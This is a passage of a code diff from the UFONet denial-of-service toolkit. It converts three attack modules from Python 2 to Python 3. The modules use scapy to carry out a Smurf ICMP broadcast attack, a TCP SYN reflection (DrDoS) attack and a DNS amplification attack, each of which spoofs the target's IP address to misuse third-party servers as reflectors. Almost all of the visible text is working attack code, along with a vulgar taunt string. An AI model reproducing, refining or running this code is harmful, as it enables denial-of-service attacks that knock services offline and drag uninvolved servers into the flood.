@@ -24,15 +26,15 @@ def sIP(base_stations): # extract 'base stations'
     bs = {}
     s_zombie = random.choice(base_stations).strip() # shuffle 'base stations'
     if not s_zombie in bs:
+        url = urllib.parse.urlparse(s_zombie)
         try:
-            s_zombie_ip = socket.gethostbyname(s_zombie)
+            s_zombie_ip = socket.gethostbyname(url.netloc)
             bs[s_zombie] = s_zombie_ip # add to dict of resolved domains
         except:
             try:
                 import dns.resolver
                 r = dns.resolver.Resolver()
                 r.nameservers = ['8.8.8.8', '8.8.4.4'] # google DNS resolvers
-                url = urlparse(s_zombie)
                 a = r.query(url.netloc, "A") # A record
                 for rd in a:
                     s_zombie_ip = str(rd)
@@ -54,7 +56,7 @@ def smurfize(ip, sport, rounds):
             n=n+1
             s_zombie_ip = sIP(base_stations)
             if s_zombie_ip == None: # not any 'base stations' available
-                print "[Error] [AI] [SMURF] Imposible to retrieve 'base stations' -> [Aborting!]\n"
+                print("[Error] [AI] [SMURF] Imposible to retrieve 'base stations' -> [Aborting!]\n")
                 break
             seq = randInt()
             window = randInt()
@@ -62,12 +64,12 @@ def smurfize(ip, sport, rounds):
             try:
                 IP_p.src = ip # ICMP 'broadcast' package carring fraudulent (spoofed) source IP belonging to target (aka SMURF attack)
             except:
-                print "[Error] [AI] [SMURF] Imposible to resolve IP from target! -> [Aborting!]\n"
+                print("[Error] [AI] [SMURF] Imposible to resolve IP from target! -> [Aborting!]\n")
                 break
             try:
                 IP_p.dst = s_zombie_ip
             except:
-                print "[Error] [AI] [SMURF] Imposible to resolve IP from 'base station' -> [Aborting!]\n"
+                print("[Error] [AI] [SMURF] Imposible to resolve IP from 'base station' -> [Aborting!]\n")
                 break
             TCP_l = TCP()
             TCP_l.sport = sport
@@ -76,16 +78,16 @@ def smurfize(ip, sport, rounds):
             TCP_l.window = window
             try:
                 send(IP_p/ICMP(), verbose=0)
-                print "[Info] [AI] [SMURF] Redirecting 'base station' ["+str(n)+"] ["+str(s_zombie_ip)+"] -> [RE-FLUXING!]"
+                print("[Info] [AI] [SMURF] Redirecting 'base station' ["+str(n)+"] ["+str(s_zombie_ip)+"] -> [RE-FLUXING!]")
                 time.sleep(1) # sleep time required for balanced sucess
             except:
-                print "[Error] [AI] [SMURF] Failed to redirect 'base station' ["+str(n)+"] ["+str(s_zombie_ip)+"]"
+                print("[Error] [AI] [SMURF] Failed to redirect 'base station' ["+str(n)+"] ["+str(s_zombie_ip)+"]")
     except:
         print("[Error] [AI] [SMURF] Failing to engage... -> Is still target online? -> [Checking!]")
 
 class SMURF(object):
     def attacking(self, target, rounds):
-        print "[Info] [AI] ICMP Broadcast (SMURF) is redirecting: [" , rounds, "base stations ]"
+        print("[Info] [AI] ICMP Broadcast (SMURF) is redirecting: [" , rounds, "base stations ]")
         if target.startswith('http://'):
             target = target.replace('http://','')
             sport = 80
@@ -106,6 +108,6 @@ class SMURF(object):
             except:
                 ip = target
         if ip == "127.0.0.1" or ip == "localhost":
-            print "[Info] [AI] [SMURF] Sending message '1/0 %====D 2 Ur ;-0' to 'localhost' -> [OK!]\n"
+            print("[Info] [AI] [SMURF] Sending message '1/0 %====D 2 Ur ;-0' to 'localhost' -> [OK!]\n")
             return
         smurfize(ip, sport, rounds) # attack with SMURF using threading

+ 16 - 14
core/mods/spray.py

@@ -1,18 +1,20 @@
-#!/usr/bin/env python 
+#!/usr/bin/env python3 
 # -*- coding: utf-8 -*-"
 """
-UFONet - Denial of Service Toolkit - 2018 - by psy (epsylon@riseup.net)
+This file is part of the UFONet project, https://ufonet.03c8.net
+
+Copyright (c) 2013/2020 | psy <epsylon@riseup.net>
 
 You should have received a copy of the GNU General Public License along
 with UFONet; if not, write to the Free Software Foundation, Inc., 51
 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
 """
-import sys, random, socket, urlparse
-
+import sys, random, socket
+import urllib.parse
 try:
     from scapy.all import *
 except:
-    print "\nError importing: scapy lib. \n\n To install it on Debian based systems:\n\n $ 'sudo apt-get install python-scapy' or 'pip install scapy'\n"
+    print("\nError importing: scapy lib. \n\n To install it on Debian based systems:\n\n $ 'sudo apt-get install python3-scapy'\n")
     sys.exit(2)
 
 # UFONet TCP SYN Reflector (SPRAY)
@@ -24,15 +26,15 @@ def sIP(base_stations): # extract 'base stations'
     bs = {}
     s_zombie = random.choice(base_stations).strip() # shuffle 'base stations'
     if not s_zombie in bs:
+        url = urllib.parse.urlparse(s_zombie)
         try:
-            s_zombie_ip = socket.gethostbyname(s_zombie)
+            s_zombie_ip = socket.gethostbyname(url.netloc)
             bs[s_zombie] = s_zombie_ip # add to dict of resolved domains
         except:
             try:
                 import dns.resolver
                 r = dns.resolver.Resolver()
                 r.nameservers = ['8.8.8.8', '8.8.4.4'] # google DNS resolvers
-                url = urlparse(s_zombie)
                 a = r.query(url.netloc, "A") # A record
                 for rd in a:
                     s_zombie_ip = str(rd)
@@ -54,7 +56,7 @@ def sprayize(ip, sport, rounds):
             n=n+1
             s_zombie_ip = sIP(base_stations)
             if s_zombie_ip == None: # not any 'base stations' available
-                print "[Error] [AI] [SPRAY] Imposible to retrieve 'base stations' -> [Aborting!]\n"
+                print("[Error] [AI] [SPRAY] Imposible to retrieve 'base stations' -> [Aborting!]\n")
                 break
             seq = randInt()
             window = randInt()
@@ -62,12 +64,12 @@ def sprayize(ip, sport, rounds):
             try:
                 IP_p.src = ip # SYN packets carring fraudulent (spoofed) source IP belonging to target (aka DrDoS)
             except:
-                print "[Error] [AI] [SPRAY] Imposible to resolve IP from 'target' -> [Aborting!]\n"
+                print("[Error] [AI] [SPRAY] Imposible to resolve IP from 'target' -> [Aborting!]\n")
                 break
             try:
                 IP_p.dst = s_zombie_ip
             except:
-                print "[Error] [AI] [SPRAY] Imposible to resolve IP from 'base station' -> [Aborting!]\n"
+                print("[Error] [AI] [SPRAY] Imposible to resolve IP from 'base station' -> [Aborting!]\n")
                 break
             TCP_l = TCP()
             TCP_l.sport = sport
@@ -81,16 +83,16 @@ def sprayize(ip, sport, rounds):
             TCP_l.ack = SYNACK.seq+1
             try:
                 send(IP_p/TCP_l, verbose=0)
-                print "[Info] [AI] [SPRAY] Redirecting 'base station' ["+str(n)+"] ["+str(s_zombie_ip)+"] -> [RE-FLUXING!]"
+                print(("[Info] [AI] [SPRAY] Redirecting 'base station' ["+str(n)+"] ["+str(s_zombie_ip)+"] -> [RE-FLUXING!]"))
                 time.sleep(1) # sleep time required for balanced sucess
             except:
-                print "[Error] [AI] [SPRAY] Failed to redirect 'base station' ["+str(n)+"] ["+str(s_zombie_ip)+"]"
+                print(("[Error] [AI] [SPRAY] Failed to redirect 'base station' ["+str(n)+"] ["+str(s_zombie_ip)+"]"))
     except:
         print("[Error] [AI] [SPRAY] Failing to engage... -> Is still target online? -> [Checking!]")
 
 class SPRAY(object):
     def attacking(self, target, rounds):
-        print "[Info] [AI] TCP SYN Reflector (SPRAY) is redirecting: [" , rounds, "base stations ]"
+        print(("[Info] [AI] TCP SYN Reflector (SPRAY) is redirecting: [ " + str(rounds)+ " base stations ]"))
         if target.startswith('http://'):
             target = target.replace('http://','')
             sport = 80
@@ -111,6 +113,6 @@ class SPRAY(object):
             except:
                 ip = target
         if ip == "127.0.0.1" or ip == "localhost":
-            print "[Info] [AI] [SPRAY] Sending message '1/0 %====D 2 Ur ;-0' to 'localhost' -> [OK!]\n"
+            print("[Info] [AI] [SPRAY] Sending message '1/0 %====D 2 Ur ;-0' to 'localhost' -> [OK!]\n")
             return
         sprayize(ip, sport, rounds) # attack with SPRAY using threading

+ 11 - 11
core/mods/tachyon.py

@@ -1,18 +1,19 @@
-#!/usr/bin/env python 
+#!/usr/bin/env python3 
 # -*- coding: utf-8 -*-"
 """
-UFONet - Denial of Service Toolkit - 2019 - by psy (epsylon@riseup.net)
+This file is part of the UFONet project, https://ufonet.03c8.net
+
+Copyright (c) 2013/2020 | psy <epsylon@riseup.net>
 
 You should have received a copy of the GNU General Public License along
 with UFONet; if not, write to the Free Software Foundation, Inc., 51
 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
 """
 import sys, random
-
 try:
     from scapy.all import *
 except:
-    print "\nError importing: scapy lib. \n\n To install it on Debian based systems:\n\n $ 'sudo apt-get install python-scapy' or 'pip install scapy'\n"
+    print("\nError importing: scapy lib. \n\n To install it on Debian based systems:\n\n $ 'sudo apt-get install python3-scapy'\n")
     sys.exit(2)
 
 dns_file = "botnet/dns.txt" # OpenDNS servers IP list
@@ -32,12 +33,11 @@ def dnsize(ip, port, rounds):
         with open(dns_file) as f: # extract OpenDNS servers from file
             dns_d = f.read().splitlines() 
         f.close()
-        results = []
         p_num=0
         for x in range (0,int(rounds)):
             try:
                 n=n+1
-                print "[Info] [AI] [TACHYON] Shooting 'crystal' ["+str(n)+"] and unloading laser on it! -> [REFLECTING!]"
+                print("[Info] [AI] [TACHYON] Shooting 'crystal' ["+str(n)+"] and unloading laser on it! -> [REFLECTING!]")
                 for i in qtype: # loop through all query types then all DNS servers
                     for j in dns_d:
                         p_num += 1
@@ -45,17 +45,17 @@ def dnsize(ip, port, rounds):
                         packet = IP(src=src_ip, dst=j, ttl=ttl) / UDP(sport=port) / DNS(rd=1, qd=DNSQR(qname=qname, qtype=i))
                         try:
                             send(packet, verbose=0) # not using sr1 because non-replies are required
-                            print("[Info] [AI] [TACHYON] Lasered 'crystal' [{}]".format(p_num))+" IS BEING REFLECTED by ["+str(j)+"] using DNS type: "+str(i)+" -> [AMPLIFYING!]"
+                            print(("[Info] [AI] [TACHYON] Lasered 'crystal' [{}]".format(p_num))+" IS BEING REFLECTED by ["+str(j)+"] using DNS type: "+str(i)+" -> [AMPLIFYING!]")
                         except:
-                            print("[Info] [AI] [TACHYON] Lasered 'crystal' [{}]".format(p_num))+" HAS FAILED to be reflected by ["+str(j)+"] using DNS type: "+str(i)+" -> [PASSING!]"
+                            print(("[Info] [AI] [TACHYON] Lasered 'crystal' [{}]".format(p_num))+" HAS FAILED to be reflected by ["+str(j)+"] using DNS type: "+str(i)+" -> [PASSING!]")
             except:
-                print "[Error] [AI] [TACHYON] Failed to engage with 'crystal' ["+str(n)+"]"
+                print("[Error] [AI] [TACHYON] Failed to engage with 'crystal' ["+str(n)+"]")
     except:
         print("[Error] [AI] [TACHYON] Failing to engage... -> Is still target online? -> [Checking!]")
 
 class TACHYON(object):
     def attacking(self, target, rounds):
-        print "[Info] [AI] DNS Amplification (TACHYON) is ready to fire: [" , rounds, "crystals ]"
+        print("[Info] [AI] DNS Amplification (TACHYON) is ready to fire: [" , rounds, "crystals ]")
         if target.startswith('http://'):
             target = target.replace('http://','')
             port = 80
@@ -76,6 +76,6 @@ class TACHYON(object):
             except:
                 ip = target
         if ip == "127.0.0.1" or ip == "localhost":
-            print "[Info] [AI] [TACHYON] Sending message '1/0 %====D 2 Ur ;-0' to 'localhost' -> [OK!]\n"
+            print("[Info] [AI] [TACHYON] Sending message '1/0 %====D 2 Ur ;-0' to 'localhost' -> [OK!]\n")
             return
         dnsize(ip, port, rounds) # attack with TACHYON using threading

+ 0 - 0
core/mods/ufosyn.py


Some files were not shown because too many files changed in this diff